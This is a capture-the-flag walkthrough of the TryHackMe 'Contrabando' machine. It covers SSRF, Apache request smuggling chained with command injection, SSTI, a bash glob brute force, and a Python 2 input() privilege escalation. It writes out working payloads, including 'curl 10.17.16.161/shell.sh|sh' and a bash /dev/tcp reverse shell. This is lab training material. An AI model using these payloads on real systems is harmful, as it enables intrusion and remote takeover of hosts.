TryHackMe - Contrabando¶
Introduction¶
OS: Linux
URL: Contrabando
Level: Hard
Contrabando presents a website with a simple SSRF/File Disclosure vulnerability. However, to gain a shell on the machine, you’ll need to discover a Request Smuggling vulnerability (in apache) and chain it with a Command Injection vulnerability in another PHP file to establish a foothold.
For user privilege escalation, you’ll need to scan the host machine for additional open ports and identify a webpage vulnerable to SSTI. Finally, for root, you’ll exploit a Bash pitfall (wildcard injection) first to leak a password, and then leverage an old Python vulnerability to gain root access.
Recon¶
Run a full nmap
port scan to find all open ports.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ sudo nmap --min-rate=10000 -vv 10.201.67.78 -p-
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 59
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ sudo nmap --min-rate=10000 -vv 10.201.67.78 -p 22,80 -sC -sV
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 41:ed:cf:46:58:c8:5d:41:04:0a:32:a0:10:4a:83:3b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjg3ryM+r7qxTQ5xAjU83DI6BXLjjzuwq8JgdhMGqUe4xYMTqG1s5JIQV4qQjpyqcnV47YE08e5Ld0ocxifpjTJ6HisyckOPNo/zqUri1Z+9K9LahP/dzWmE7mMBMql9Kzw+0f0/afMzc84qYlfNcw4yFYDVNXYx7mSJO5PRg4Tz3EGsE6jRRVBUkFJFOQmpdoCG7a5Ni6qjYh39/aBwIYeTM0d/HopG6b3NO6Yvx4rTo/xnG9vTWwYqKsWYFBrtMg/7GSh01zblPI6cjxXBxbfnhtId1/zXlY78Rkt0FvYbzFUUaGsvsUEoB8H4i8Z5n1mY3b7dw/A7anxtK19tkgs3+JZ9tOJRPYpgefslbw/w+Xyq1Q/xlokzUKdeZZV/5Z/Zh5/mhA0CibBC5s/rdx11YKMfYXXiCB/br8icBHBrSc12ZR0gUPsXS6IauN1BrotolWzv+9SvnEmj+KYeGX4yL+WoK/EG1Q6wBhX5eG6gWtFRk3IHYiBDoFGene7sk=
| 256 e8:f9:24:5b:e4:b0:37:4f:00:9d:5c:d3:fb:54:65:0a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFwb/Rz7jCz7YDYzNkf47+OXqnvgcYLVXQG5+kCpd5r6IQ7yl6Uqy03wr5mhL2pFecKeFZ9YcAH7yXOYCjhE4tc=
| 256 57:fd:4a:1b:12:ac:7c:90:80:88:b8:5a:5b:78:30:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBPpQejy/V33/ZPRlA/Ox2LyfOuWesS7uru9W0GMWlD3
80/tcp open http syn-ack ttl 59 Apache httpd 2.4.55 ((Unix))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.55 (Unix)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are only two open ports: 22 (SSH) and 80 (HTTP). The web server is running Apache HTTPD 2.4.55 on Ubuntu.
Web Enumeration¶
There are just two pages: the homepage and a beta page. The homepage has a link to the beta page, which says that their password generator is currently down.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ feroxbuster -B -u http://10.201.67.78/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt -d 2 -o ferxbuster.main.out -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.201.67.78/
🚀 Threads │ 50
📖 Wordlist │ /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💾 Output File │ ferxbuster.main.out
💲 Extensions │ [php]
🏦 Collect Backups │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 7l 20w 199c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 23w 196c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 62l 100w 873c http://10.201.67.78/page/home.html
200 GET 2l 19w 152c http://10.201.67.78/page/home.html~
200 GET 2l 19w 155c http://10.201.67.78/page/home.html.bak
200 GET 2l 19w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 64l 102w 922c http://10.201.67.78/
200 GET 2l 14w 118c http://10.201.67.78/page/
200 GET 10l 15w 148c http://10.201.67.78/page/index.php
200 GET 14l 41w 392c http://10.201.67.78/page/gen.php
[######>-------------] - 69s 26881/86039 2m found:7 errors:0
[###>----------------] - 69s 6810/43008 99/s http://10.201.67.78/
[###>----------------] - 67s 6579/43008 99/s http://10.201.67.78/page/
Running feroxbuster reveals a few interesting files:
/page/home.html
/page/home.html~
/page/home.html.bak
/page/index.php
/page/gen.php
Trying to fetch the php
files we get raw output of the php files instead of them being executed.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl 'http://10.201.67.78/page/index.php'
<?php
$page = $_GET['page'];
if (isset($page)) {
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
?>
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl 'http://10.201.67.78/page/gen.php'
<?php
function generateRandomPassword($length) {
$password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
return $password;
}
if(isset($_POST['length'])){
$length = $_POST['length'];
$randomPassword = generateRandomPassword($length);
echo $randomPassword;
}else{
echo "Please insert the length parameter in the URL";
}
?>
Let's take a better look at both the PHP files before we proceed.
index.php
script is vulnerable to a File Disclosure and Server Side Request Forgery (SSRF) attack. It reads the page
parameter from the URL and uses readfile()
to display the contents of the specified file. If no page
parameter is provided, it redirects to home.html
.
<?php
$page = $_GET['page'];
if (isset($page)) {
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
gen.php
is vulnerable to Command Injection. It takes a length
parameter from a POST request and uses it to generate a random password but it fails to sanitize the input before passing it to the exec()
function. This allows an attacker to inject arbitrary commands into the system.
<?php
function generateRandomPassword($length) {
$password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
return $password;
}
if(isset($_POST['length'])){
$length = $_POST['length'];
$randomPassword = generateRandomPassword($length);
echo $randomPassword;
}else{
echo "Please insert the length parameter in the URL";
}
?>
Exploitation¶
File Disclosure¶
Trying to fetch a non-existent file gives us php readfile
error.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl http://10.201.67.78/page/NONEXISTANT
<br />
<b>Warning</b>: readfile(NONEXISTANT): failed to open stream:
No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />
This likely indicates that Apache is set to forward any requests that follow the pattern /page/*
to the index.php?page=*
script which then uses readfile()
to read the contents of the file specified in the page
parameter.
Checking the headers, we also find that there are two different versions of Apache running depending on the page requested.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl -s http://10.201.43.93/ -I | grep Server
Server: Apache/2.4.55 (Unix)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl -s http://10.201.43.93/page/NONEXISTANT -I | grep Server
Server: Apache/2.4.54 (Debian)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/../../../../../etc/passwd'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
We cannot directly pass ../
as it is blocked by Apache. However, we can bypass this restriction by using a double URL encoding technique.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
....
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/etc/hosts'
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 124a042cc76c
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/.dockerenv'
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/NONEXISTANT'
<br />
<b>Warning</b>: readfile(../../../../..//NONEXISTANT): failed to open stream:
No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />
Tip
/
url encoded is %2F
. URL encoding %2f
again gives us %252F
. So, we can use ..%252f
to traverse directories.
This works as there seem to be two apache servers.
- first server decodes
/page/..%252f..%252f..%252f..%252f..%252f/etc/passwd
to/page/..%2f..%2f..%2f..%2f..%2f/etc/passwd
- then passes the request over to
localhost:PORT/index.php?page=/page/..%2f..%2f..%2f..%2f..%2f/etc/passwd
- since apache does not sanitize the page parameter it then url decodes the request and forwards it to
index.php
Reading files off the system is not really helpful in this case as there are no sensitive files. But we do confirm that we are inside a docker container with the IP 172.18.0.3
SSRF¶
The readfile()
function by default also allows users to read network resources using various protocols like http
, https
, ftp
, etc.
But requesting a path like /path/http://IP:PORT/file
will not work as Apache
sanitizes any //
in the path and converts it to /
making the path /path/http:/IP:PORT/file
.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http://10.17.16.161/test.html'
<br />
<b>Warning</b>: readfile(http:/10.17.16.161/test.html): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />
To bypass this we can again double url encode one of the /
.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http:%252f/10.17.16.161/test.html'
hello :)
Using this, we can now try to fuzz ports on the target docker container to find any other open ports.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ ffuf -u 'http://10.201.67.78/page/http:%252f/127.0.0.1:FUZZ' -w <(seq 1 65535) -mc all -c -request-proto http -fw 16
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.201.67.78/page/http:%252f/127.0.0.1:FUZZ
:: Wordlist : FUZZ: /proc/self/fd/11
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 16
________________________________________________
8080 [Status: 200, Size: 873, Words: 121, Lines: 63, Duration: 425ms]
We find that port 8080
is open. Let's try to access it.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http:%252f/127.0.0.1:8080' -s | html2text
THM
****** Our password generator is currently down. ******
===============================================================================
This text is similar to the beta page. So we are indeed accessing the index.php
script on the target docker container.
We can now also execute gen.php
script.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http:%252f/127.0.0.1:8080/gen.php'
Please insert the length parameter in the URL
The problem here is that gen.php
requires that we pass in length
parameter in the POST request. But using php's readfile()
function we can only make GET requests.
There are a few techniques we can use to bypass this restriction listed in PayloadsAllTheThings SSRF section.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/gopher:%252f/127.0.0.1:8080/gen.php'
<br />
<b>Warning</b>: readfile(): Unable to find the wrapper "gopher" -
did you forget to enable it when you configured PHP? in <b>/var/www/html/index.php</b> on line <b>5</b><br />
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/dict:%252f/127.0.0.1:8080/gen.php'
<br />
<b>Warning</b>: readfile(): Unable to find the wrapper "dict" -
did you forget to enable it when you configured PHP? in <b>/var/www/html/index.php</b> on line <b>5</b><br />
But alas, none of the PHP wrappers that would let us smuggle a POST request are enabled.
Request Smuggling¶
Apache 2.4.0
through 2.4.55
is vulnerable to CVE-2023-25690
which allows for Request Smuggling attacks via CRLF
injection in certain configurations.
The vulnerability allows an attacker to craft requests that are parsed differently by the front-end and back-end servers, enabling additional requests to be smuggled to the back-end.
Apache Config
Tip
Before we start to exploit here is a list of characters and their URL encoded values that we will use in the exploit.
\r
-%0D
\n
-%0A
<SPACE>
-%20
This GitHub repo details the exact attack steps along a with lab environment to test the exploit.
First let's repare a POST request for gen.php
with the command injection payload.
Note that you'll need to figure out the actual length of the payload to set the Content-Length
header correctly. In this case, the length is 39
characters.
Tip
When you select the text in Burp Suite, it will display the length of the selected text in the sidebar in both decimal and hexadecimal format. This is useful for determining the correct Content-Length
header value.
Let's craft the request by sending a test request to burp suite, modifying the request to contain multiple requests and then url encoding the requests.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/gen.php' -x 127.0.0.1:8080
<?php
....
Let's append our payload request to the request that we just intercepted and
Now take the entire payload starting from "<SPACE> HTTP/1.1"
in line 1 till the end of the request and replace all <SPACE>
with %20
, \r
with %0D
and \n
with %0A
.
Here's a simple python script to do that:
text = """ HTTP/1.1
Host: 10.201.67.78
POST /gen.php HTTP/1.1
Host: localhost
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
length=1; curl 10.17.16.161/shell.sh|sh;
"""
encoded = ""
for line in text.splitlines():
line = line.replace(" ", "%20").replace("\r", "%0D").replace("\n", "%0A") + "%0D%0A"
encoded += line
print(encoded)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ python encode_request.py
%20HTTP/1.1%0D%0AHost:%2010.201.67.78%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Length:%2040%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Alength=1;%20curl%2010.17.16.161/shell.sh|sh;%0D%0A%0D%0A%0D%0A
use the output above to modify our request
However, the request is missing the initial HTTP/1.1
in the request line and the required Host
header — both of which the first Apache server needs to process the request correctly.
Add a Host header (for example, Host: localhost
this doesn't matter as there are no vhost configured on the Apache server) and ensure the initial request line ends with HTTP/1.1
.
Shell as www-data¶
Before we send the request:
- Create a shell.sh file with the command for reverse shell.
- Start a netcat listener on port
445
to catch the reverse shell. - start a web server on your local machine to serve the
shell.sh
file.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ cat shell.sh
bash -c 'bash -i >& /dev/tcp/10.17.16.161/445 0>&1'
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
Now we can send the request in burp suite which should fetch the shell.sh
file and execute it.
You can also use curl to send the request directly.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl -s 'http://10.201.43.93/page/gen.php%20HTTP/1.1%0D%0AHost:%2010.201.67.78%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Length:%2040%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Alength=1;%20curl%2010.17.16.161/shell.sh|sh;%0D%0A%0D%0A%0D%0A'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>502 Proxy Error</title>
Shell as hansolo¶
We have a low priv shell as www-data
inside a docker container that doesn't have any special privileges or any juicy files.
Let's try to enumerate any other docker containers / host machine for any open ports.
Download a copy of nmap-static and transfer it over to the target docker container.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ wget https://github.com/opsec-infosec/nmap-static-binaries/releases/download/v2/nmap-x64.tar.gz
--2025-08-17 14:10:51-- https://github.com/opsec-infosec/nmap-static-binaries/releases/download/v2/nmap-x64.tar.gz
Saving to: ‘nmap-x64.tar.gz’
nmap-x64.tar.gz 100%[===========>] 10.19M 14.3MB/s in 0.7s
2025-08-17 14:10:53 (14.3 MB/s) - ‘nmap-x64.tar.gz’ saved [10686789/10686789]
www-data@124a042cc76c:/var/www$ cd /tmp/
www-data@124a042cc76c:/tmp$ mkdir test
www-data@124a042cc76c:/tmp$ cd test
www-data@124a042cc76c:/tmp/test$ curl 10.17.16.161/nmap-x64.tar.gz -o nmap-x64.tar.gz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10.1M 100 10.1M 0 0 2997k 0 0:00:03 0:00:03 --:--:-- 2996k
www-data@124a042cc76c:/tmp/test$ tar -xzf nmap-x64.tar.gz
www-data@124a042cc76c:/tmp/test$ ls -l nmap
-rwxr-xr-x 1 www-data www-data 7024256 Apr 19 2021 nmap
Now we can run nmap
scan the network range for alive hosts.
www-data@124a042cc76c:/tmp/test$ ./nmap 172.18.0.0/16 -sn --min-rate=10000 -n
Starting Nmap 7.91 ( https://nmap.org ) at 2025-08-17 18:18 UTC
Nmap scan report for 172.18.0.1
Host is up (0.0029s latency).
Nmap scan report for 172.18.0.2
Host is up (0.0022s latency).
Nmap scan report for 172.18.0.3
Host is up (0.0017s latency).
Nmap done: 65536 IP addresses (3 hosts up) scanned in 29.18 seconds
Then run a port scan on .1
and .2
hosts (skipping .3
as it is the host we are currently on) to find any open ports.
www-data@124a042cc76c:/tmp/test$ ./nmap 172.18.0.1-2 -p- --min-rate=10000 -n -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2025-08-17 18:20 UTC
Nmap scan report for 172.18.0.1
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
5000/tcp open upnp syn-ack
Nmap scan report for 172.18.0.2
PORT STATE SERVICE REASON
80/tcp open http syn-ack
Port 80
on both the hosts lead to the same apache server that we have already exploited.
www-data@124a042cc76c:/tmp/test$ curl -s 172.18.0.2/ | grep -i checkout
<a href="/page/home.html">Checkout our beta page</a>
www-data@124a042cc76c:/tmp/test$ curl -s 172.18.0.1/ | grep -i checkout
<a href="/page/home.html">Checkout our beta page</a>
But port 5000
on .1
host leads to a different web server that we have not seen before.
www-data@124a042cc76c:/tmp/test$ curl 172.18.0.1:5000
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
...
Port 5000¶
Let's forward the port 5000
to our local machine and access it in the browser.
- run a chisel server on attacker machine
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ ~/tools/chisel/chisel server --reverse --port 8001
2025/08/17 14:30:38 server: Reverse tunnelling enabled
2025/08/17 14:30:38 server: Fingerprint U8qKD0Ja1Y6nsN0D3C8n/4dYNjvLh4X+hYdGwG7tZIE=
2025/08/17 14:30:38 server: Listening on http://0.0.0.0:8001
- connect to chisel server from the target docker container and forward port
5000
www-data@124a042cc76c:/tmp/test$ curl http://10.17.16.161/chisel/chisel -o chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9152k 100 9152k 0 0 2168k 0 0:00:04 0:00:04 --:--:-- 2168k
www-data@124a042cc76c:/tmp/test$ chmod +x chisel
www-data@124a042cc76c:/tmp/test$ ./chisel client 10.17.16.161:8001 R:5000:172.18.0.1:5000
2025/08/17 18:35:14 client: Connecting to ws://10.17.16.161:8001
2025/08/17 18:35:16 client: Connected (Latency 235.957962ms)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -I
HTTP/1.1 200 OK
Server: Werkzeug/3.0.0 Python/3.8.10
Date: Sun, 17 Aug 2025 18:41:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 421
Connection: close
Another SSRF?
Making a request to a netcat listener (http://VPNIP:8000
) reveals that it's using pycurl to make the requests
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=http://10.17.16.161:8000'
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.67.78] 56026
GET / HTTP/1.1
Host: 10.17.16.161:8000
User-Agent: PycURL/7.45.2 libcurl/7.68.0 OpenSSL/1.1.1f zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.21.0 (+libidn2/2.2.0) libssh/0.9.3/openssl/zlib nghttp2/1.40.0 librtmp/2.3
Accept: */*
We can read files using file://
protocol.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=file:///etc/passwd' | html2text | grep sh
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
false fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:
lxd:/bin/false hansolo:x:1000:1000::/home/hansolo:/bin/bash
Using this, we can leak the source code of the app.
# check /proc/self/cmdline param to find the app path
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=file:///proc/self/cmdline' | html2text
****** Fetch Website Content ******
***** Currently in Development *****
Enter Website URL: [website_url ]Fetch Website
/usr/bin/python3/home/hansolo/app/app.py
# get the app source
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=file:///home/hansolo/app/app.py'
Here's the app flow:
- The app uses Flask to create a web server that listens for incoming requests.
- when a post request is made to / it fetches the
website_url
parameter from the request. - It uses
pycurl
to fetch the content of the specified URL and stores it in the variablecontent
. - It then inserts the content into an html template stored as
website_content
- Finally, it uses the
Jinja2
template engine to render thewebsite_content
and return it as a response.
Since we can control the content that gets fed to render_template_string()
we can inject our SSTI payload to execute arbitrary code on the server.
SSTI¶
- run a python server to serve the files before making the requests
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Test with a simple
{{7*7}}
payload to see if SSTI is working.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ echo 'SSTI TEST {{7*7}}' > ssti_test.html
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=http://10.17.16.161/ssti_test.html' | html2text
****** Fetch Website Content ******
***** Currently in Development *****
Enter Website URL: [website_url ]Fetch Website
SSTI TEST 49
Our {{7*7}}
payload is being evaluated to 49
and the result is being rendered in the response.
Let's use a payload from hacktricks to get a reverse shell.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ cat ssti.html
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("curl 10.17.16.161/shell.sh|sh").read()}}{%endif%}{% endfor %}
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ cat shell.sh
bash -c 'bash -i >& /dev/tcp/10.17.16.161/445 0>&1'
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ nc -lvnp 445
listening on [any] 445 ...
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=http://10.17.16.161/ssti.html'
- stabilize the shell
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ nc -lvnp 445
listening on [any] 445 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.67.78] 54820
bash: cannot set terminal process group (723): Inappropriate ioctl for device
bash: no job control in this shell
hansolo@contrabando:~$ id
id
uid=1000(hansolo) gid=1000(hansolo) groups=1000(hansolo)
hansolo@contrabando:~$ ls
app
hansolo_userflag.txt
shell.py
hansolo@contrabando:~$ cat hansolo_userflag.txt
THM{Th3_**REDACTED**}
hansolo@contrabando:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
hansolo@contrabando:~$ ^Z
zsh: suspended nc -lvnp 445
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 445
hansolo@contrabando:~$ export TERM=xterm-256color
Shell as root¶
Bash wildcard / glob injection¶
Running sudo -l
reveals that the user hansolo
can run /usr/bin/vault
as root without a password.
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hansolo may run the following commands on contrabando:
(root) NOPASSWD: /usr/bin/bash /usr/bin/vault
(root) /usr/bin/python* /opt/generator/app.py
/usr/bin/vault
is a bash script.
Here's the flow of the script:
- It registers two files
/root/password
as file to check and/root/secrets
as file to print. - It checks if the file
/root/password
exists. If it does not, it prints an error message and exits. - It reads the content of the file
/root/password
and stores it in the variablecontent
. - It prompts the user to enter a password and stores it in the variable
user_input
. - It compares the
content
anduser_input
. If they match, it prints the content of/root/secrets
. If they do not match, it prints an error message.
The check if [[ $content == $user_input ]]; then
is vulnerable because it uses [[ ... ]]
with the attacker-controlled value on the right-hand side of the check and does not sanitize that input.
In [[ string == pattern ]]
the right-hand side is treated as a shell pattern (globbing), so user-supplied metacharacters like *
, ?
, or [...]
are interpreted as wildcards rather than literal characters.
example: [[ "SOME_RANDOM_STRING" == *]]
will always evaluate to true because *
matches any string.
Using this we can bruteforce the password one character at a time by passing *
as the user_input and checking if the secrets file is printed or not.
hansolo@contrabando:~$ echo "test" | sudo /usr/bin/bash /usr/bin/vault
Password does not match!
hansolo@contrabando:~$ echo "*" | sudo /usr/bin/bash /usr/bin/vault
Password matched!
1. Lightsaber Colors: ....
....
We could use a bash loop to bruteforce the password one char at a time.
hansolo@contrabando:~$ for i in {A..z}; do echo -n "Trying $i* : "; echo "$i*" | sudo /usr/bin/bash /usr/bin/vault; done
Trying A* : Password does not match!
Trying B* : Password does not match!
Trying C* : Password does not match!
Trying D* : Password does not match!
Trying E* :
Password matched!
1. Lightsaber Colors: ...
I wrote a python script to automate the process to check each character in ascii printable range and bruteforce the password.
Python2 Code Injection¶
The password works for hansolo, we can now use this to run the second command in sudo -l
hansolo@contrabando:~$ su - hansolo
Password:
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hansolo may run the following commands on contrabando:
(root) NOPASSWD: /usr/bin/bash /usr/bin/vault
(root) /usr/bin/python* /opt/generator/app.py
hansolo@contrabando:~$ sudo /usr/bin/python3 /opt/generator/app.py
[sudo] password for hansolo:
Enter the desired length of the password: 12
Any words you want to add to the password? aaa
Generated Password: I/YevJ2(ah-f
The script generates a random password by taking in two inputs, one for the length of the password and another for any words that the user wants to add to the password.
The problem here doesn't lie in the script itself but instead in the wild card in sudo command entry that allows us to use any python version.
Checking for the installed python versions reveals that python2 is installed on the system.
hansolo@contrabando:~$ ls /usr/bin/python* -l
lrwxrwxrwx 1 root root 9 Mar 13 2020 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3657904 Dec 9 2024 /usr/bin/python2.7
lrwxrwxrwx 1 root root 9 Mar 13 2020 /usr/bin/python3 -> python3.8
-rwxr-xr-x 1 root root 5490456 Mar 18 20:04 /usr/bin/python3.8
lrwxrwxrwx 1 root root 33 Mar 18 20:04 /usr/bin/python3.8-config -> x86_64-linux-gnu-python3.8-config
lrwxrwxrwx 1 root root 16 Mar 13 2020 /usr/bin/python3-config -> python3.8-config
Python2 input()
function is vulnerable as its equivalent to doing eval(raw_input())
on the input string which allows us to execute arbitrary code.
hansolo@contrabando:~$ sudo /usr/bin/python2 /opt/generator/app.py
Enter the desired length of the password: 12
Any words you want to add to the password? __import__("os").system("/bin/bash")
root@contrabando:/home/hansolo# id
uid=0(root) gid=0(root) groups=0(root)
root@contrabando:/home/hansolo# cat /root/root.txt
THM{All_A**REDACTED**}